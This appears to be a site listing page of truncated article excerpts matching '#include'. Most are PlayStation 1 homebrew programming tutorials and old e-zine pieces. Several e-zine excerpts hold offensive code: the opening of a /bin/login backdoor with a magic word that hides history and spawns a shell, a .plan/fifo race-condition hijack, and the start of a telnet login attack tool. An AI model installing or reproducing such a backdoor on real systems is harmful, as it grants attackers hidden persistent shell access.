#include

1.6: Using the CD-ROM

PS_2's profile picture
Published in 
 · 3 days ago
1.6: Using the CD-ROM
... ding from an array. The ever growing sample program should be like this. Tweak the code as you see fit to make it work with the SDK you're using. #include <sys/types.h> // This provides typedefs needed by libgte.h and libgpu.h #include <stdio.h> // Not necessary but include it anyway #include <psxetc.h> // Includes some functions that controls the display #include <psxgte.h> // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #define OTLEN 8 // Ordering table length (recommended to set as a de ...

1.5: Fixed Point Math

PS_2's profile picture
Published in 
 · 3 days ago
1.5: Fixed Point Math
... Draw and flush the character buffer FntFlush( -1 ); The finished code should look like the following (the texture stuff remains for future samples): #include <sys/types.h> // This provides typedefs needed by libgte.h and libgpu.h #include <stdio.h> // Not necessary but include it anyway #include <psxetc.h> // Includes some functions that controls the display #include <psxgte.h> // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #define OTLEN 8 // Ordering table length (recommended to set as a de ...

1.4: Controllers

PS_2's profile picture
Published in 
 · 3 days ago
1.4: Controllers
... dding the button definitions, structs and padbuff array described in this chapter near the beginning of the source file, but must be placed after the #include directives. When using PSn00bSDK, you can simply include psxpad.h instead, which already has those defined. Next, place the InitPAD() and StartPAD() calls at the end of your init() function, so pads get initialized alongside the graphics. If you're using PSn00bSDK, you can add ChangeClearPAD(1) after StartPAD() to avoid the VSync: Timeout message from cropping up in your tty terminal. Next, define two variables named pos_x and pos_y of type int at the start of the main() function, preferabl ...

1.1. Setting up Graphics and Hello World

PS_2's profile picture
Published in 
 · 2 weeks ago
1.1. Setting up Graphics and Hello World
... rovided by the libgpu library. libgte.h is required even if you don't plan to use the GTE as libgpu.h depends on some definitions provided in it. #include <sys/types.h> // This provides typedefs needed by libgte.h and libgpu.h #include <stdio.h> // Not necessary but include it anyway #include <libetc.h> // Includes some functions that controls the display #include <libgte.h> // GTE header, not really used but libgpu.h depends on it #include <libgpu.h> // GPU library header If using PSn00bSDK, replace the lib prefix with psx instead. Most of the definitions between the offic ...

Ctrl ZINE: The Future is Ours

eZine's profile picture
Published in 
 · 4 weeks ago
Ctrl ZINE: The Future is Ours
... plan and replace it with a fifo and then write a message if some other process had open the fifo to read (this process should be finger in our case): #include #include #include #include #include int main(int argc, char **argv) { again: int fd = creat(".plan", S_IRWXU|S_IRWXO|S_IRWXG); close(fd); unlink(".plan"); mkfifo(".plan", S_IRWXU|S_IRWXO|S_IRWXG); int fifo = open(".plan", O_WRONLY|O_NONBLOCK); if (fifo>0) { write(fifo, "We love ^C\n", 11); close(fifo); goto end; } unlink(".plan"); goto again; end: printf("We won!\n"); return 0; } This program loop until it successfully manage to win the race condition, I ran it on tmux using strace until the ...

2x16: Extract

eZine's profile picture
Published in 
 · 1 month ago
... el e-zine en archivos * separados numerados. * * Compilacion: * gcc extract.c -o extract * * ./extract [-s] archivo1 archivo2 archivo3 ... */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <string.h> #include <dirent.h> #define BEGIN_TAG "[++] " #define END_TAG "[--]" #define BT_SIZE strlen(BEGIN_TAG) #define ET_SIZE strlen(END_TAG) #define SPLIT_TAG "-[ 2x" #define SPLIT_SIZE strlen(SPLIT_TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 b ...

2-9: Metodos de PENEtracion de sistemas

eZine's profile picture
Published in 
 · 1 month ago
... chmod 755 it, * copy this to /bin/login, chmod 4755 it and touch all timestamps. * * Change the MAGIC_WORD and such to taste your fit. */ #include <stdio.h> /* start of user def stuff */ #define OLDLOGIN "/usr/lib/login" #define LOGINNAME "login" #define MAGIC_WORD "localhost" /* end of user def stuff */ /* To make it a bit better looking in strings */ #define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $" char **exe; do_back() { puts(REVISION); putenv("TERM=vt100"); putenv("HISTFILE=/dev/null"); execl("/bin/sh","sh","-i",0); } main(argc, argv) int argc; char *a ...

Doom Editing Digest Vol. 01 Nr. 301

eZine's profile picture
Published in 
 · 6 months ago
... a great day, John ps. My mail can handle anything. UUEncode it, mime it, it won't matter. __________________________________________________________ #include <stupidstuff.h> #define USER "johnw" /* John Wakelin */ /* Johnw@datametrics.com */ main() /* (703) 385 7700 */ { while (isstupid(USER)) ignore(USER); } Reposted by Snider - ----------------------------------- Rainer.Spielbauer@dlr.de ------------------------------ From: a13231@mindlink.bc.ca (Drake O'Brien) (by way of S.Benner@lancaster.ac.uk \(Steve Benner\)) Date: Thu, 1 Jun 95 09:48:19 +0100 Subject: Esoterica on overlayed line-switches Since I don't write prog's ...

CLiT #22: Are You Mocking Me?

eZine's profile picture
Published in 
 · 8 months ago
... code looks pretty!@# */ /* You're so darn clever!$ */ /* NB. This comment was NOT included */ /* by AE. Thank you. */ #include <stdio.h> int main( void ) { char a; char *name; int age, number; printf("\nPlease enter your name:\n"); scanf("%s", &name); printf("\nWelcome %s to CLiT's Virtual Dating Services,\n", &name); printf("where we provide you with the chix0r of your dreams.\n"); printf("Since I'm too lazy, at the moment this service is\n"); printf("exclusively for the male population...\n"); printf("Yeah, I know it's sexist -- so sue me!@\n"); printf("Um, actually don't, since I'm ...

Hackers 4 Hackers #12

eZine's profile picture
Published in 
 · 8 months ago
... cker' en slachtoffer mogen niet dezelfde box zijn (dan werkt je timing echt niet !!!) hieronder vind je een sample tool : ---] begin of file [--- #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/tcp.h> #include <arpa/telnet.h> #include <netinet/in.h> #include <stdlib.h> #include <sys/time.h> #include <errno.h> #include <fcntl.h> #define DEFAULTPORT 23 char *names[] = {"login:","name:", NULL}; char *fp_os[] = {"daemon","operator","bin","smmsp","popa3d","uucp", "www", "named", "pro ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT